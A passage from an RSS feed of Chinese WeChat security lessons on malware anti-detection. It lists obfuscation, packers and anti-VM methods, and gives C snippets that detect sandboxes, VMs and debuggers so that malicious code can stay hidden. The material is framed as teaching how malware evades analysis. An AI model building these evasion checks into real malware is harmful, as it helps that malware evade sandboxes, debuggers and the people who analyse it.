0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 其他反检测技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码混淆：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">控制流混淆</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">数据混淆</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">字符串加密</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码加壳：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">UPX</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">VMProtect</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">Themida</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">反虚拟机：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检测虚拟机特征</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检测虚拟机进程</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">检测虚拟机硬件</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.3.1 案例1：使用直接系统调用绕过EDR Hook</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要执行文件操作，但EDR通过Hook API监控文件操作。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="81"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=724019f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496627%26idx%3D1%26sn%3Dad0b0dd08792ba9d4e1a617928378bc3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Apr 2026 08:31:00 +0800</pubDate>
    </item>
    <item>
      <title>反检测技术（上）——反沙箱与反调试</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496626&amp;idx=1&amp;sn=9d3cc074e6e5708f26078938ae48576b</link>
      <description>一、前言概述反检测技术用于逃避安全软件的分析和检测，本课将深入介绍反沙箱技术和反调试技术，帮助读者理解恶意软件</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-31 08:31</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=902c8a7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY4TW2l0HuKviblHDSdDibjZiaib8hAWpmo1cHqpofhRE5ZnnOrELOXSPqMSsgXmqCFQ5Y4f89iaFicNGe5Pib5QKmLo7xN8icAahxONHHE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">反检测技术用于逃避安全软件的分析和检测，本课将深入介绍反沙箱技术和反调试技术，帮助读者理解恶意软件如何逃避分析。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 反沙箱技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">检测当前环境是否为沙箱或虚拟机，如果是则不执行恶意代码。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">常见检测方法：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 检测虚拟机特征：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsVM</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    HKEY hKey;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (RegOpenKeyExA(HKEY_LOCAL_MACHINE,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, KEY_READ, &amp;hKey) == ERROR_SUCCESS) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf=""> identifier[</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">256</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">        DWORD size = </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(identifier);</span><span leaf=""><br/></span><span leaf="">        RegQueryValueExA(hKey, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Identifier&#34;</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, (LPBYTE)identifier, &amp;size);</span><span leaf=""><br/></span><span leaf="">        RegCloseKey(hKey);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">strstr</span></span><span leaf="">(identifier, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;VMWARE&#34;</span></span><span leaf="">) || </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">strstr</span></span><span leaf="">(identifier, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;VBOX&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 检测虚拟机进程：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsVMProcess</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">const</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">char</span></span><span leaf="">* vmProcesses[] = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;vmtoolsd.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;vmwaretray.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;VBoxService.exe&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;VBoxTray.exe&#34;</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 遍历进程检查...</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. 检测虚拟机MAC地址：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsVMMac</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// VMware MAC: 00:0C:29, 00:50:56</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// VirtualBox MAC: 08:00:27</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">// 检查MAC地址...</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">4. 检测时间加速：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsTimeAccelerated</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    DWORD start = GetTickCount();</span><span leaf=""><br/></span><span leaf="">    Sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1000</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    DWORD end = GetTickCount();</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (end - start &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">900</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">5. 检测用户交互：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsUserInteractive</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    POINT pt1, pt2;</span><span leaf=""><br/></span><span leaf="">    GetCursorPos(&amp;pt1);</span><span leaf=""><br/></span><span leaf="">    Sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1000</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    GetCursorPos(&amp;pt2);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pt1.x == pt2.x &amp;&amp; pt1.y == pt2.y) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 反调试技术</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">原理：</span></strong><span leaf="">检测当前进程是否被调试器附加，如果是则终止或改变行为。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">常见检测方法：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. IsDebuggerPresent：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (IsDebuggerPresent()) {</span><span leaf=""><br/></span><span leaf="">    ExitProcess(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. CheckRemoteDebuggerPresent：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">BOOL isDebuggerPresent = FALSE;</span><span leaf=""><br/></span><span leaf="">CheckRemoteDebuggerPresent(GetCurrentProcess(), &amp;isDebuggerPresent);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (isDebuggerPresent) {</span><span leaf=""><br/></span><span leaf="">    ExitProcess(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. NtGlobalFlag：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsDebuggerPresent_NtGlobalFlag</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    PDWORD pNtGlobalFlag = (PDWORD)(__readgsqword(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x60</span></span><span leaf="">) + </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xBC</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*pNtGlobalFlag &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0x70</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">4. 硬件断点：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">IsHardwareBreakpointPresent</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    CONTEXT ctx;</span><span leaf=""><br/></span><span leaf="">    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;</span><span leaf=""><br/></span><span leaf="">    GetThreadContext(GetCurrentThread(), &amp;ctx);</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">5. 时间检测：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 